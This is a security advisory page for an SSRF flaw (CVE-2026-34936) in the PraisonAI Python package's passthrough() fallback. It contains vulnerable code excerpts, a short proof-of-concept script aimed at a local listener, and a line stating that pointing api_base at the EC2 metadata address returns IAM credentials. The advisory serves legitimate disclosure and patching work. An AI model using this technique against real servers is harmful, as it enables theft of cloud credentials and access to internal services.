GHSA-X6M9-GXVR-7JPV

Vulnerability from github – Published: 2026-04-01 23:21 – Updated: 2026-04-06 22:54
VLAI?
Summary
PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback
Details

Summary

passthrough() and apassthrough() in praisonai accept a caller-controlled api_base parameter that is concatenated with endpoint and passed directly to httpx.Client.request() when the litellm primary path raises AttributeError. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.

Details

passthrough.py:92 (source) -> passthrough.py:109 (fallback trigger) -> passthrough.py:110 (sink)

# source -- api_base taken directly from caller
def passthrough(endpoint, api_base=None, method="GET", ...):

# fallback trigger -- AttributeError from unrecognised provider enters fallback
except AttributeError:
    url = f"{api_base or 'https://api.openai.com'}{endpoint}"

# sink -- no validation before request
    response = client.request(method, url=url, ...)

PoC

# tested on: praisonai 1.5.87 (source install)
# install: pip install -e src/praisonai
# start listener: python3 -m http.server 8888
import sys, litellm
sys.path.insert(0, 'src/praisonai')
del litellm.llm_passthrough_route

from praisonai.capabilities.passthrough import passthrough

result = passthrough(
    endpoint="/ssrf-test",
    api_base="http://127.0.0.1:8888",
    method="GET",
    custom_llm_provider="__nonexistent__",
)
print(result)
# expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...})
# listener logs: "GET /ssrf-test HTTP/1.1" 404
# on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials

Impact

On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with AUTH_ENABLED = False by default, making this reachable over the network without credentials.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.89"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.90"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34936"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-01T23:21:45Z",
    "nvd_published_at": "2026-04-03T23:17:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server.\n\n### Details\n\n`passthrough.py:92` (source) -\u003e `passthrough.py:109` (fallback trigger) -\u003e `passthrough.py:110` (sink)\n```python\n# source -- api_base taken directly from caller\ndef passthrough(endpoint, api_base=None, method=\"GET\", ...):\n\n# fallback trigger -- AttributeError from unrecognised provider enters fallback\nexcept AttributeError:\n    url = f\"{api_base or \u0027https://api.openai.com\u0027}{endpoint}\"\n\n# sink -- no validation before request\n    response = client.request(method, url=url, ...)\n```\n\n### PoC\n```python\n# tested on: praisonai 1.5.87 (source install)\n# install: pip install -e src/praisonai\n# start listener: python3 -m http.server 8888\nimport sys, litellm\nsys.path.insert(0, \u0027src/praisonai\u0027)\ndel litellm.llm_passthrough_route\n\nfrom praisonai.capabilities.passthrough import passthrough\n\nresult = passthrough(\n    endpoint=\"/ssrf-test\",\n    api_base=\"http://127.0.0.1:8888\",\n    method=\"GET\",\n    custom_llm_provider=\"__nonexistent__\",\n)\nprint(result)\n# expected output: PassthroughResult(data=\u0027...\u0027, status_code=404, headers={\u0027server\u0027: \u0027SimpleHTTP/0.6 Python/3.12.3\u0027, ...})\n# listener logs: \"GET /ssrf-test HTTP/1.1\" 404\n# on EC2 with IMDSv1: api_base=\"http://169.254.169.254\" returns IAM credentials\n```\n\n### Impact\n\nOn cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.",
  "id": "GHSA-x6m9-gxvr-7jpv",
  "modified": "2026-04-06T22:54:03Z",
  "published": "2026-04-01T23:21:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34936"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…